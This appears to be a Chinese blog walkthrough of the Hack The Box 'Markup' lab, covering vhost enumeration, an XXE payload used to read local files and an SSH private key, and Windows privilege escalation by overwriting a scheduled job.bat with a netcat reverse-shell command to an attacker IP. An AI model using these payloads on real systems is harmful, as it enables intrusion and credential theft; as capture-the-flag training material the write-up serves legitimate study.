HTB靶场:Markup(XXE&Windows提权)

Markup

1. 信息收集

端口扫描:22、80、443

子域名收集

gobuster vhost --random-agent --append-domain -k -w="/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt" -u 'http://10.129.95.192/'

2. 访问

SQL注入

登录参数不存在注入点

弱口令

登录成功

发现可控输入页面

相关请求包如下

发现可能存在XXE注入(XML实体注入攻击)

<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>插入XML中进行测试

无反应

/etc/passwd换成C:\windows\system32\drivers\etc\hosts,再测试

看起来是不支持这种方式,换一个以file:///开头的方式

这次引用成功了

3. XXE利用

系统文件中没有什么值得利用的内容,寻找站点下的线索

最终在查看页面源码的过程中,发现

根据这里可以猜测系统中存在一个名为Daniel的用户

Windows用户文件夹下有什么秘密呢?

回想下端口扫描结果,可以尝试读取ssh私钥

修改保存的私钥文件权限: chmod is_rsa 400

ssh登录

拿到user.flag

4. Windows提权

1. 先查看用户是否拥有特殊权限

一个允许在文件系统中遍历文件,不受Traverse权限限制;一个允许调整进程工作集大小

无特殊权限

2. 查看特别的文件

  • 该文件先检测管理员权限,确认为管理员权限后,使用wevtutil el 列出所有事件日志,并使用 wevtutil cl 对每个列出的日志进行清除。

3. 查看文件权限

icacls "C:\example\folder"

  • F即完全控制,I表示该权限是继承到的,RX表示读取和执行权限

可以通过传输修改脚本来执行反向 shell,从而获得一个 shell。
在此之前,我们需要检查 job.bat 文件中提到的 netcat to the system 和 wevtutil 进程是否正在运行。
我们可以通过键入 schtasks 命令来查看当前计划的任务。
如果我们的权限级别不允许我们通过 Windows 的命令行查看此列表,我们可以快速改用 powershell 的 ps 命令,这代表了另一个对服务器不利的安全配置错误。

4. 文件传输

python -m http.server

wget "http://ip:port/filename" -outfile filename

5. 替换job.bat

在cmd中运行: echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.16.4 6666 > job.bat

然后运行job.bat: start job.bat

6. 反弹shell

拿到root.flag

posted @ 2024-12-19 13:59  柯ili  阅读(116)  评论(0)    收藏  举报